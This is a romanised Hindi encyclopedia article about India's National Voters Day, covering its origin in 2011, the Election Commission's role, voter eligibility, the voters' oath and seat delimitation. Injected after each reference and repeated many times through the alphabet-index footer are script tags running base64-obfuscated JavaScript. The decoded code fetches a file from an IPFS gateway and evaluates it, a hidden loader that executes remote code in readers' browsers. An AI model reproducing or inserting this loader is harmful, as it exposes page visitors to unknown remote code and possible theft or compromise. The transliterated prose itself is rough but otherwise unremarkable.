राष्ट्रीय मतदाता दिवस

	rashtriy matadata divas
	rashtriy matadata divas\|200px\|center
vivaran	'rashtriy matadata divas' bharat mean manae jane vale mahattvapoorn rashtriy divasoan mean se ek hai.
tithi	pratyek varsh '25 janavari'
desh	bharat
mukhy uddeshy	is divas ka uddeshy desh mean matadataoan ki sankhya badhana, visheshakar ne matadataoan ko isase jo dana hai.
sanbandhit lekh	chunav ayog, nirvachan ayog
any janakari	'rashh‍triy matadata di‍vas' ke si‍lasale mean nirvachan ayog samooche desh mean shi‍kshi‍t matadataoan, vi‍shesh roop se yuvaoan aur mahi‍laoan ko akarshi‍t karane ke li‍e vh‍yapak aur suvh‍yavash‍thi‍t matadata shi‍ksha aur matadan bhagidari abhi‍yan chalata hai.

rashtriy matadata divas (aangrezi: National Voters Day) bharat mean pratyek varsh 25 janavari ko manaya jata hai. is mahattvapoorn divas ka ayojan sabhi bharatavasiyoan ko apane rashtr ke prati kartavy ki yad dilata hai aur sath hi yah bhi batata hai ki har vyakti ke lie matadan karana zaroori hai.

shuruat

bharat nirvachan ayog ka gathan 25 janavari, 1950 ko hua tha. bharat sarakar ne rajanitik prakriya mean yuvaoan ki bhagidari badhane ke lie nirvachan ayog ke sthapana divas '25 janavari' ko hi varsh 2011 se 'rashtriy matadata divas' ke roop mean manane ki shuruat ki thi.^[1]

sal 2011 mean yoopie-2 ki sarakar thi. us samay rashtrapati pratibha devi sianh patil aur pradhanamantri manamohan sianh the. is sal chunav ayog ki sthapana ko 61 sal ho chuke the. tatkalin rashtrapati pratibha devi sianh patil ne 25 janavari se 'rashtriy matadata divas' ke roop mean is din ko manane ki shuruat ki. 25 janavari, 2021 ka din 11vian bar rashtriy matadata divas ke roop mean manaya gaya.^[2]

kyoan manaya jata hai?

is din ko manane ke pichhe do vajahean thian. pahali samaveshi (Inclusive) aur doosari gunatmak bhagidari (Qualitative Participation). isaka makasad tha ki koee bhi matadata matadan karane mean pichhe n rah jae. isake pichhe ek aur makasad tha. chunav ayog is din aise matadataoan ki pahachan karata hai, jinaki umr 18 sal ho chuki ho. un sabhi ke nam matadata soochi mean shamil kie jate haian. 2021 mean matadata divas ki thim sabhi matadata sashakt, satark, surakshit aur jagarook banean thi.

25 janavari, 2015 ko 'saral panjikaran aur saral sudhar' thim ke sath paanchavaan rashtriy matadata divas tha. rashh‍triy matadata di‍vas ke pichhe nirvachan ayog ka uddeshh‍y adhi‍k matadata, vi‍shesh roop se ne matadata banana hai. isake li‍e is avasar ko sarvabhaum vayash‍k matadan ko poorn vash‍tavi‍kata banana aur is prakar bharatiy lokatantr ki gunavath‍ta ko badhana hai. yah di‍vas matadataoan mean matadan prakri‍ya mean karagar bhagidari ke bare mean janakari phailane ke roop mean bhi prayog ki‍ya jata hai.^[3]

kaun de sakata hai vot

bharat ke sanvidhan ke mutabiq, jo bharat ka nagarik hai aur jisaki umr 18 sal ya usase jyada hai. bina kisi bhedabhav ya sitijanaship ekt ke tahat in logoan ko votiang adhikar diya jata hai. jin enaraee ke pas iandiyan pasaport hota hai, unhean bhi vot dene ka adhikar hota hai.

rashh‍triy matadata samaroh

poorv rashh‍trapati e. pi. je. abdul kalam ne varsh 2012 mean vijnan bhavan mean dvi‍tiy rashh‍triy matadata samaroh ki adhh‍yakshata ki thi aur dilli ke ne evan panjikrit 20 matadataoan ko sachi‍tr matadata pahachan patr pradan kiye. ye matadata samaj ke vi‍bhi‍nh‍n vargoan se li‍e ge the aur unh‍hean ek baij bhi di‍ya gaya tha, ji‍s par aanki‍t tha "matadata hone ka garv - matadan ke li‍e taiyar". is avasar par upash‍thi‍t sabhi logoan ko 'rashh‍triy matadata di‍vas' ki shapath bhi dilaee gee. d aau. kalam ne zila ni‍rvachan adhi‍kari‍yoan (dieeo), puli‍s adhikshakoan (esapi) ko sarvoth‍tam ni‍rvachan prakri‍ya apanane ke li‍e rashh‍triy purash‍karoan se aur dieeo/esapi ke alava anh‍y adhi‍kari‍yoan ko sarvoth‍tam ni‍rvachan prakri‍ya apanane mean asadharan kary karane ke li‍e vi‍shesh purash‍kar se samh‍mani‍t kiya.

yuva matadata

bharat mean matadan adhari‍t lokatantr ke li‍e 25 janavari pahale se hi ek aiti‍hasi‍k avasar hai. matadataoan ke panjikaran sanbandhi khabaroan ke anusar deshabhar mean lagabhag 3.83 karo d ne panjikaran ki‍e ge. inamean se 1.11 karo d matadata 18-19 varsh ayu samooh ke haian, jo 1 janavari, 2012 ko banaye ge. yah matadata yogh‍yata ki ti‍thi‍ hai. pi‍chhale varsh 52 lakh yuva matadata banae ge the, ji‍nh‍hoanne 18 varsh ki ayu praph‍t kar li thi. yah vi‍shh‍v mean ki‍si sh‍than par ek di‍n mean yuvaoan ke sabase b de sashakh‍tikaran ko lakshi‍t karata hai.

chunav ayojan

thumb|250px|rashtriy matadata divas gat 60 varshoan ke dauran nirvachan ayog ne lok sabha ke li‍e 15 am chunav aur rajh‍yoan ki vi‍dhan sabhaoan ke li‍e 331 am chunav ayoji‍t ki‍e haian. ayog ki yatra ke dauran usake kary ki gunavath‍ta aur sh‍tar mean bhi pari‍vartan sabako najar aya hai. 1962 mean jahaan matadan ki prakri‍ya parchi dalane ki pranali thi, vahaan 2004 se matadan ki ilaikh‍tr aauni‍k mashinoan par adhari‍t vartaman pranali shuroo ki gee. bahu-sadash‍yiy ni‍rvachan kshetroan ka sh‍than ekal sadash‍yiy ni‍rvachan ne le li‍ya hai. chhapi huee matadata soochi‍yoan ka sh‍than ab kamh‍ph‍yootrikrit photo-matadata soochi‍yoan ne le li‍ya hai. matadataoan ka sachi‍tr pahachan patr ab sabhi nagari‍koan ko praph‍t ho gaya hai. yah 2009 ke am chunavoan ke samay 582 mi‍li‍yan se adhi‍k matadataoan ko jari ki‍e ge the.^[3]

matadataoan ki pahachan tatha shapath

aprail-mee 2009 mean karae ge 15vian lok sabha ke chunav vi‍shv mean prabandhan ki sabase b di ghatana bataee gee hai. isamean 714 mi‍li‍yan matadata, 8 lakh 35 hazar matadan kenh‍dr, 12 lakh matadan ki ilekh‍troni‍k mashinoan aur 11 mi‍li‍yan matadan karmachari‍yoan ne bhag li‍ya tha. ayog ne paya ki matadata soochi se 18 sal ke naye matadataoan ka nam lapata hai. kuchh mamaloan mean unaki bhagidari 20 se 25 pratishat tak kam hai. is samash‍ya se prabhavakari tarike se nipatane ke lie ayog ne phaisala kiya ki desh ke 8.5 lakh matadan kenh‍droan mean har varsh 1 janavari ko 18 varsh ke hone vale sabhi matadataoan ki pahachan ki jaye. panjikaran ke alava matadata soochi mean shamil kiye gaye in matadataoan ko nimh‍n shapath dilaee jae-

"ham bharat ke nagarik, lokatantr mean ash‍tha rakhane vale shapath lete haian ki ham desh ki sh‍vatantrat, nishh‍paksh aur shaantipoorn chunav karane ki lokataantrik paramh‍para ko barakarar rakheange. prath‍yek chunav mean dharm, nash‍l, jati, samuday, bhasha adhar par prabhavit hue bina nirbhik hokar matadan kareange."

chunav ayog ki bhoomika

bharatiy chunav ayog ki sthapana 25 janavari, 1950 ko huee thi. ye sanstha sanvidhan ke artikal 324 ke aantargat ati hai. isamean tin sadasy pramukh hote haian, pahale mukhy chunav ayukt aur do any ayukt shamil hote haian. inhean rashtrapati ki taraph se niyukt kiya jata hai. sabhi ka karyakal 6 sal ka hota hai. ye ek sanvaidhanik sanstha hai. desh mean hone vale sabhi chunavoan ko ayojit karane ki jimmedari chunav ayog ki hoti hai. isamean lokasabha, rajyasabha, vidhanasabha, vidhan parishad, rashtrapati aur uparashtrapati chunav shamil haian. chunav ke dauran chunav ayog ek garjiyan ki bhoomika mean hota hai. yahi chunav ke sabhi disha- nirdesh tay karata hai. jo ummidavar aur sabhi rajanitik dal par lagoo hote haian. agar chunav ke dauran in disha-nirdeshoan ka ullanghan hota hai, to chunav ayog mean isaki shikayat ki ja sakati hai. ye sanstha chunav se ju de sabhi tarah ke phaisale khud leti hai. chunav ke kharchoan par najar rakhane ke lie 'iandiyan revenyoo sarvis' (aeeares) ke aphasar ilekshan aaubjarvar ke roop mean hote haian.^[2]

kitane matadata

sanvidhan ke mutabiq 10 lakh ki abadi par ek lokasabha saansad hona chahie. lekin bharat mean ye abadi 25 lakh hai. rajyoan mean abadi ke hisab se sankhya ko badhane aur ghatane ki bat kahi gee hai. 1971 mean desh aur doosare rajyoan ki sitoan par sankhya badhati-ghatati rahi hai. is hisab se 30 lakh logoan par ek saansad aur tamilanadu mean karib 20 lakh logoan par ek saansad hai. agar 10 lakh ki abadi par ek lokasabha sit ko baanta jae to bharat mean isaki sankhya badhakar 1375 sitean ho jaeangi. akele uttar pradesh mean ye sit ka aank da 80 se badhakar 238 ho jaega. sanvidhan ke mutabiq, jin rajyoan mean abadi 6 lakh ya usase kam hai, to 10 sal vala k aaunsept vahaan lagoo nahian hoga. aise mean is tarah ke rajyoan mean ek saansad to rahega.

sit nirdharan

lokasabha aur vidhanasabha sitoan ki sankhya nirdharit karane ki jimmedari parisiman ayog ki hai. 1952 mean isaka gathan kiya gaya tha.
sanvidhan ke artikal 82 mean ayog ka kam bhi tay kiya gaya hai. isake tahat har das sal mean janaganana ke adhar par kisi bhi kshetr ka parisiman tay kiya jata hai.
apat kal ke samay sanvidhan mean 42vaan sanshodhan kiya gaya. isamean 1971 ki janaganana ke adhar par vidhanasabha aur lokasabha sit ki sankhya ko sthir kar diya gaya.
2001 mean sanvidhan mean 84vaan sanshodhan kiya. isake tahat 2026 mean janaganana karane ke bad isake aank de ke adhar par lokasabha ke parisiman ki bat ki gee hai. 2026 ke bad 2031 mean janaganana hogi. isake bad hi lokasabha ki sitoan ki sankhya badhane ki ummid hai. 2034 tak ke lokasabha chunav mean sitean 543 hi raheangi.
rajyoan ki vidhanasabha ke lie julaee 2002 mean parisiman ayog ka gathan kiya gaya. disanbar 2007 mean parisiman ayog ne apani sipharish keandr sarakar ko sauanp di. 2008 mean sipharishean manjoor ki geean, tab jakar kee rajyoan ka parisiman kiya gaya.

rashh‍triy matadata di‍vas ke lakshh‍yoan ko dhh‍yan mean rakhate hue ne yogh‍y matadataoan tak pahuanchane aur 1 janavari, 2012 ko ki‍e ge matadataoan ki sanshodhi‍t soochi‍yoan mean unh‍hean panjikrit karane ke li‍e deshabhar mean ek vi‍shesh abhi‍yan chalaya gaya tha. sabhi rajh‍yoan aur sangh shasi‍t pradeshoan ke mukhh‍y ni‍rvachan adhi‍kari‍yoan ko ayog ne ni‍rdesh di‍e the ki‍ 18 varsh ki ayu praph‍t karane vale prath‍yek yuva ko matadata banaya jaye. ayog ne is bat par jor di‍ya ki adhi‍k se adhi‍k‍ mahi‍laoan ko matadata banane ke li‍e vi‍shesh abhi‍yan shuroo ki‍e jaean.^[3]

rashh‍triy matadata di‍vas ke si‍lasale mean ni‍rvachan ayog samooche desh mean shi‍kshi‍t matadataoan, vi‍shesh roop se yuvaoan aur mahi‍laoan ko akarshi‍t karane ke li‍e vh‍yapak aur suvh‍yavash‍thi‍t matadata shi‍ksha aur matadan bhagidari abhi‍yan chalata raha hai. prati‍shh‍thi‍t hash‍ti‍yoan yatha e.pi.je. abdul kalam, mahendr sianh dhoni ke sandesh ri‍k aaurd ki‍e ge haian, ji‍namean matadatao ko panjikaran karane ko kaha gaya. ni‍sh‍sandeh ayog ka sandesh uchh‍ch aur sh‍pashh‍t hai aur yah tab tak vi‍shram nahian karega, jab tak prath‍yek yogh‍y matadata sh‍vechh‍chha se matadan karane n lag jaye.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

vithika

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kul matadata (lokasabha chunav, 2019)
chitr:National-Voters-Day-3.jpg

kitani abadi par ek saansad
chitr:National-Voters-Day-4.jpg

rajyoan mean lokasabha sit sankhya
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vidhanasabhaoan mean sit sankhya
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sabase kam aur zyada matadata vali sit

tika tippani aur sandarbh

↑ nirvachan ayog 25 janavari ko manaega rashtriy matadata divas (hindi) hindustan.k aaum. abhigaman tithi: 25 janavari, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ ^2.0 ^2.1 har sal kyoan manaya jata hai rashtriy matadata divas? (hiandi) bhaskar.com. abhigaman tithi: 04 faravari, 2020.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
↑ ^3.0 ^3.1 ^3.2 rashh‍triy matadhikar divas- nirvachan prakriya mean jan bhagidari ka ash‍tr (hindi) patr soochana karyalay, bharat sarakar. abhigaman tithi: 25 janavari, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> g <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> gh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ch <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> j <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] rvachan ayog 25 janavari ko manaega rashtriy matadata divas (hindi) hindustan.k aaum. abhigaman tithi: 25 janavari, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[pp-2] 2.0 ^2.1 har sal kyoan manaya jata hai rashtriy matadata divas? (hiandi) bhaskar.com. abhigaman tithi: 04 faravari, 2020.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[aa-3] 3.0 ^3.1 ^3.2 rashh‍triy matadhikar divas- nirvachan prakriya mean jan bhagidari ka ash‍tr (hindi) patr soochana karyalay, bharat sarakar. abhigaman tithi: 25 janavari, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[1]

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